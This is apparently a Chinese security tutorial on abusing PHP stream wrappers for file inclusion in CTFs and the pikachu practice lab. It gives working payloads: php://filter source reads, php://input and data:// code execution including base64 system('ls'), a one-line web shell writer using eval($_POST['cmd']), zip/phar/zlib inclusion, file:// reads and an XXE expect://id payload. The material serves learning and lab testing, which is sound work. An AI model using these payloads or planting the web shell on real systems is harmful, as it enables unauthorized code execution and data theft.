【PHP安全】PHP伪协议

PHP伪协议:

  • file:// #访问本地文件系统
  • http:// #访问HTTPs网址
  • ftp:// #访问ftp URL
  • php:// #访问输入输出流
  • zlib:// #压缩流
  • data:// #数据(RFC 2397)
  • ssh2:// #security shell2
  • expect:// #处理交互式的流
  • glob:// #查找匹配的文件路径
  • phar:// #PHP 归档
  • rar:// #RAR
  • ogg:// #音频流

配置文件PHP.ini中关键参数:

  • allow_url_fopen:是否允许打开远程文件
  • allow_url_include:是否允许 include/require 远程文件

php://

在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):

bash 复制代码
filename=php://filter/read=convert.base64-encode/resource=../../index.php


filename=../../index.php

会直接当成php文件解析

php://input

使用条件:

allow_url_include:on

代码执行:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
也可以写入一句话木马:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:

  • allow_url_fopen :on
  • allow_url_include:on

代码执行:

bash 复制代码
filename=data://text/plain,<?php phpinfo();?>
bash 复制代码
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
bash 复制代码
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

补充:
在phpinfo中需要关注的敏感信息:

  1. 绝对路径
    包含环境变量 $_SERVER['PATH'] 文件根目录 $_SERVER['DOCUMENT_ROOT'] 等信息
  2. 支持的程序
    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi
  3. 查看真实IP
    $_SERVER['SERVER_ADDR'] 或SERVER_ADDR
    绕开 cdn 获取 C 段资产,旁站等重要信息
  4. 查看敏感配置
    allow_url_include:远程文件包含
    allow_url_fopen:远程文件读取
    disable_functions:禁用的函数名
    open_basedir:可将用户访问文件的活动范围限制在指定的区域
    short_open_tag:允许<??>这种形式,并且<?=等价于<? echo
  5. 配置文件位置
    读取配置文件内容,获取信息
    Loaded Configuration File

file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

任意文件读取:

bash 复制代码
filename=file:///C://windows/win.ini

zip://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件

当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容

只需要是zip的压缩包即可,后缀名可以为任意格式。

bash 复制代码
filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt

zlib://

代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

代码执行:

bash 复制代码
filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt

expact://

XXE漏洞命令执行:

xml 复制代码
<?xml version="1.0"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>

http:// & https:// 协议

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

代码执行:

bash 复制代码
filename=http://127.0.0.1:8088/phpinfo.txt

安全配置小建议:

以上测试使用的是pikachu靶场,建议在使用时更改配置

更改为Allow from 127.0.0.1

这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了

相关推荐
荻酷社区23 分钟前
子比主题美化 – 添加天气教程
php
2401_857622661 小时前
SpringBoot框架下校园资料库的构建与优化
spring boot·后端·php
吾爱星辰2 小时前
Kotlin 处理字符串和正则表达式(二十一)
java·开发语言·jvm·正则表达式·kotlin
ChinaDragonDreamer2 小时前
Kotlin:2.0.20 的新特性
android·开发语言·kotlin
IT良2 小时前
c#增删改查 (数据操作的基础)
开发语言·c#
Kalika0-03 小时前
猴子吃桃-C语言
c语言·开发语言·数据结构·算法
_.Switch3 小时前
Python Web 应用中的 API 网关集成与优化
开发语言·前端·后端·python·架构·log4j
代码雕刻家3 小时前
课设实验-数据结构-单链表-文教文化用品品牌
c语言·开发语言·数据结构
一个闪现必杀技3 小时前
Python入门--函数
开发语言·python·青少年编程·pycharm
Fan_web3 小时前
jQuery——事件委托
开发语言·前端·javascript·css·jquery